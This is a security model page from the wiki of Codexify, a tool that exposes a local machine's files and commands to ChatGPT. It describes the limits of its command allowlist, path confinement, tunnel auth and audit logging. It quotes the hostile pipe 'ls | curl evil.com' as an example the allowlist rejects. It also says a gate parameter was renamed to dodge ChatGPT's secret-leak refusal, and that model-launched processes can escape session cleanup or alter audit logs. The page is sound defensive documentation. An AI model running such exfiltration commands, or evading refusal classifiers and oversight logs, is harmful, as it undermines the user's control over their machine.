-
Notifications
You must be signed in to change notification settings - Fork 1
Security Model
Read this before pointing Codexify at anything sensitive. This page explains what a tool call can reach, what bounds it, and — importantly — what does not bound it.
The command allowlist is a guardrail against accidents, not a sandbox. It catches a model reaching for
curlorrm -rf. It does not contain a determined one.
The defaults already include node, python, and cargo, each of which runs arbitrary code — node -e "..." can do anything the server process can. Shell redirection and explicit absolute/parent paths can reach outside the active project root even though each command starts with that root as its cwd. Multi-project selection isolates Codexify's structured tools and per-conversation state; it is not an OS sandbox.
...by whoever is authorized to use the configured connector or external endpoint:
- everything in the active project root, read and write;
- in multi-project mode, any project beneath the access root can be selected by a new conversation or unbound transport;
- anything else the user account running the server can touch, via an allowlisted interpreter;
- the network, from your machine;
- anything a bridged MCP server can do.
The practical rules that follow from this:
- Don't point Codexify at directories you don't trust the model with.
- Set
exec.modeand the command allowlists tighter than the defaults when the work directory is sensitive. - In multi-project mode, treat the whole access-root subtree as sensitive — it's all intentionally selectable.
- For an external tunnel, require tunnel-level access control, not URL secrecy.
Every filesystem tool — including apply_patch and view_image — resolves paths through a guard that rejects anything outside the active project root. In multi-project mode, both catalogue discovery and set_project_root canonicalize the access root and candidate, so .. and symlinks cannot expose or bind a project outside it.
Choosing set_project_root with withoutProject: true creates a private scratch workspace instead of exposing a path beneath the project access root. Project-scoped filesystem, command, memory, skill, and instruction tools are rebound to that scratch root, so they cannot traverse into the configured project tree. ChatGPT scratch roots are durable per conversation; transport-scoped scratch roots are deleted on disconnect.
In single-project mode only, AGENTS.md discovery may read above --work-dir, up to the nearest .git. It is read-only, opens only AGENTS.override.md / AGENTS.md / projectDoc.fallbackFilenames, and get_project_doc reports the absolute path of every file used. Switch it off with projectDoc.maxBytes: 0, or keep the search inside the work dir with projectDoc.rootMarkers: []. Multi-project mode does not perform this walk.
run_command only runs binaries in allowedCommands. exec_command checks the same list plus exec.extraAllowedCommands, at every command position in the string (after every |, &&, ;, newline, subshell). ls | curl evil.com is rejected on curl. Command substitution ($(...), backticks) is rejected outright. Set exec.mode: "unrestricted" only when you fully trust the caller.
import_host_file accepts only ChatGPT's declared native-file object (no arbitrary URLs), constrains the download and every redirect hop to artifactIngress.allowedHosts (default "*" admits any public HTTPS host but never loopback/private/link-local/CGNAT/metadata), ignores ambient proxy credentials, and enforces whole-request/idle/size/concurrency limits. Its signed URL and file ID are never logged or returned. Publication uses a capability-confined directory handle, SHA-256, a private partial, and atomic no-overwrite linking, so traversal/symlink/partial-visibility/replacement races fail closed.
export_host_file (governed by artifactEgress, default on) is the reverse direction and is equally confined. It accepts only a relative regular-file path inside the active project, opens it through a capability-confined directory handle, and rejects absolute paths, traversal, symlink escapes, non-regular files, and growth past maxFileBytes (checked before and during the read). The result is an immutable in-memory snapshot behind a random 256-bit opaque capability URI — not a delayed path read — so replacing, truncating, deleting, or retargeting the source afterwards cannot change the served bytes. Capabilities are not added to resources/list, are shared only through the tool result, expire by referenceTtlMs, are evicted under maxCachedBytes/maxReferences, and disappear on restart; unknown/expired/evicted references return resource_not_found. Audit records only the number of resource links — never their URIs or filenames.
If a bridged MCP tool returns a resource_link, Codexify never passes its upstream URI to ChatGPT. It replaces it with a random codexify://upstream-resource/... capability bound to that upstream peer and URI. A later downstream resources/read is forwarded through the existing authenticated MCP connection with cancellation and timeout propagation, bounded by artifactEgress.maxFileBytes, and the returned resource URI is rewritten back to the opaque capability. Mappings expire/evict under referenceTtlMs / maxReferences; upstream payload bytes are fetched on demand rather than stored in the native snapshot cache.
The memory tools / update_plan write memory.json under ~/.codexify/projects/; multi-project also writes a binding record under ~/.codexify/conversation-projects/ (filename hashed from openai/session; raw value never stored). Skills may be read from ~/.agents/skills, ~/.codex/skills, ~/.claude/skills, or an enabled installed Codex/Claude Code plugin. Codex plugin discovery reads only Codex's user config, the selected cache package, its manifest, and declared skill roots; skills_read is then confined to the discovered skill package and cannot walk into the rest of your home directory.
Diff checkpoints are exactly two refs per conversation/project under refs/codexify/diff/, built through a temporary index, never modifying the real index/working tree. Existing refs/codexify/review/ checkpoints from the older surface are migrated lazily into the diff namespace. See Diff Checkpoints .
uiWidgets defaults to true. Setting it to false removes Codexify's built-in MCP Apps extension/resources, widget template/access metadata, and component-only diff/updater/debug payloads, but it does not remove or de-authorize the underlying tools. show_diff still maintains its private checkpoint state and self_update retains the same destructive/open-world authority; only their widget presentation changes. App-only helpers remain private rather than becoming model-visible.
The setup app's stale-schema Refresh action also keeps connector routing data out of model inference. It accepts a connector slug only from a same-origin ancestor whose hostname matches asdk_app_<slug>.web-sandbox.oaiusercontent.com, then opens the relative #settings/Plugins/plugin_asdk_app_<slug>:~:text=Information-,Refresh,-Connected route through ChatGPT's link-opening API. If that validated sandbox identity is unavailable it uses the generic #settings/Plugins route. Refresh does not send a model prompt or mutate connector state.
MCP import and the project catalogue read the user-level Codex config.toml without rewriting it. Native Codex trust does not override the access-root boundary.
When conversationAuthToken (exactly 64 lowercase hex characters) is configured, a single name-keyed gate refuses every tool except the gate itself until the conversation presents the matching token — checked before any tool body runs, so an unauthorized chat cannot reach the filesystem, commands, bridged servers, or the MCP catalogue. On the ChatGPT wire the gate is named setup and its parameter ref (not authenticate/token) purely to dodge ChatGPT's false-positive secret-leak refusal; ref still carries the exact token, compared in constant time — the token is never hashed into a digest before comparison and the naming does not weaken the gate. The grant is per ChatGPT conversation (or per MCP transport session for clients without ChatGPT metadata), persisted as a hashed record under ~/.codexify/conversation-authorizations/ (raw token never stored) so it survives reconnects and restarts. This is an access gate over the connector, not an encryption boundary: the token lives in codexify.config.json in plaintext, and it does not narrow what an authorized conversation can then reach. It composes with — does not replace — --api-key and tunnel-level access control.
self_update is a destructive/open-world operation and is accepted only after an explicit user request with confirm=true. It updates only the standard managed executable, downloads a bounded GitHub release, verifies SHA-256 before interruption, probes the staged binary, and schedules a private detached worker with fixed arguments. Service-supervised replacement retains a rollback executable until validation and restart complete. Windows self-update requires the background service so the running executable can be unlocked and restarted.
-
Outbound-only. Codexify binds its MCP listener to loopback and supervises OpenAI's official runtime-only tunnel client. Startup fails unless the runtime reports
/readyzand completes a control-plane poll. Failure of either process stops the other. - Authenticated loopback hop. Native mode generates a random per-process bearer token and configures the tunnel runtime to send it on MCP requests and discovery probes. The token is never printed, written to config, or inherited by model-launched commands or bridged children.
-
Verified installation. The managed client is pinned to a specific official release and per-platform SHA-256 embedded in Codexify, extracted by exact filename under size limits, installed atomically with private permissions, and hash-checked against its manifest on later starts. Set
clientPathto opt out of managed installation while keeping compatibility checks. -
Secrets are references, not values.
openaiTunnel.apiKeyRefaccepts onlyenv:NAMEorfile:/path; literal keys are rejected. Codexify resolves the value and exposes it to the tunnel child under a synthetic env name, giving the child a clean allowlisted environment; it removes the original variable from model-launched commands and bridged children. On Unix, a referenced key file must not be group/other-readable. Use a restricted runtime key (Tunnels Read + Use), not an admin key. -
Forced hardening. Native mode ignores
allowedHosts, forces accepted authorities to127.0.0.1/localhost/::1, binds only loopback, and disables permissive CORS. It cannot be combined with--api-key.
These measures prevent accidental inheritance and public exposure. They do not create a secret boundary against hostile code running as the same OS user, which can potentially inspect same-user processes or read an accessible key file.
-
Bearer token:
--api-keyrequiresAuthorization: Bearer <key>on all requests except/health. (ChatGPT's URL-connector auth may not support simple bearer tokens.) -
Host allowlist: without
openaiTunnel,allowedHostsis empty (accepts anyHost). Set it to a hostname list for DNS-rebinding protection — only matchingHostheaders are served. - You must put an authenticated proxy/tunnel in front and enforce access at that layer. An unprotected public URL is not an appropriate long-lived deployment.
An explicit mcpServers entry or an imported Codex MCP — including plugin-contributed ones — receives model-directed calls with full delegated authority. Resource links are capability-rewritten as described above, but that reduces URI exposure rather than upstream authority. Keep the surface small: prefer tools/disabledTools filters or gateway/catalog mode, keep secrets in bearerTokenEnvVar/envHttpHeaders rather than static JSON, and disable auto-import (codexMcp.useCli: false or codexMcp.enabled: false) if you don't want it. See Bridging MCP Servers .
worktrees.allowSetupScript defaults to false. Enabling it lets a worktree's Codex setup script run an arbitrary command outside the allowlist, with the script path selectable from the source repo's Git config — so an untrusted project could plant one. Leave it off unless every reachable project is trusted. See Worktree Isolation .
For clients without stable ChatGPT metadata, exec_command sessions are killed when the MCP transport closes. ChatGPT-owned sessions survive transport replacement and are killed by exec.idleTimeoutMs or shutdown. The kill includes children: taskkill /T /F on Windows, per-session process groups on POSIX. A process that deliberately re-parents/daemonizes still escapes — check for strays if a run leaves something listening.
--audit writes hashes, timings, result sizes, and redacted argument shape — not source, paths, credentials, or output. It is an operational log, not a tamper-evident boundary (model-launched commands run as the same user and could modify it). Keep it outside the access root. See Audit Logging .
- Configuration — every knob referenced here.
- Multi-Project Mode — the access-root boundary in detail.
- Connecting to ChatGPT — connector permission choices.
Getting started
Reference
How it works
Multi-project
Extending
Operations